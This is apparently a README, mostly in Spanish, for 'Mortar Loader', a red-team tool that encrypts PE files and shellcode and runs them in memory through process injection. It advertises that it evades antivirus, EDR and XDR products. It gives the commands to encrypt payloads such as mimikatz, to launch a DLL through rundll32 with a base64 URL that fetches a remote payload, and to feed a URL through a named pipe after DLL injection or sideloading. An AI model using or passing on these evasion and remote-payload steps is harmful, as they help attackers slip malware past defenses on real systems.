0xsp-srd/mortartécnica de evasión para derrotar y desviar la detección y prevención de productos de seguridad (AV/EDR/XDR)
Técnica de evasión de red teaming para derrotar y desviar la detección y prevención de productos de seguridad. Mortar Loader realiza el cifrado y descifrado de PE/Shellcode dentro de los flujos de memoria y lo ejecuta aprovechando varias técnicas de inyección. Mortar es capaz de eludir productos antivirus modernos y soluciones XDR avanzadas, y ha sido probado y confirmado para eludir los siguientes:
La versión más reciente (v3) se ha lanzado con las siguientes funciones:
Para una descripción más técnica, consulte la siguiente publicación de blog: https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html
El cifrador cifra shellcode en C y binarios PE y escribe la salida en un archivo .enc. Puede usar cualquier payload (MSF/cobalt/Havoc, etc.) según prefiera, siempre que sea arquitectura x64 y no RAW.
root@kali>./encryptor -f mimikatz.exe -o bin.enc
root@kali>./encryptor -f shellcode.c -o bin.enc
La nueva versión aprovecha varias técnicas combinadas con la obtención remota de payloads; se recomienda consultar la siguiente publicación para obtener más información.
para instrucciones rápidas
# PE Forking
1. host your encrypted binary on remote host.
2. encode the final URL with base64.
3. rundll32.exe agressor.dll,viewlogs [BASE64 URL].
4. covert reload subroutine technique is enabled.
currently supports early bird injection in combination with Named Pipes to receive variables for final execution.
1. inject Mortar DLL into remote process( DLL injection, Hijacking, sideloading).
2. connect into the named pipe to supply your URL
echo {BASE64 URL} > \\.\pipe\moj_ML_ntsvcs
3. payload will be executed once valid value has been recieved.
El proyecto ha sido codificado usando FPC (Free Pascal); los procedimientos de compilación son sencillos: descargue e instale Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads).
Para el cifrador, puede descargarlo desde la sección de lanzamientos o compilarlo fácilmente con Lazarus IDE.
#Debian & Ubuntu
apt install fpc
apt install lazarus-ide
El desarrollo de Mortar o cualquier proyecto compartido es el resultado de mi tiempo personal.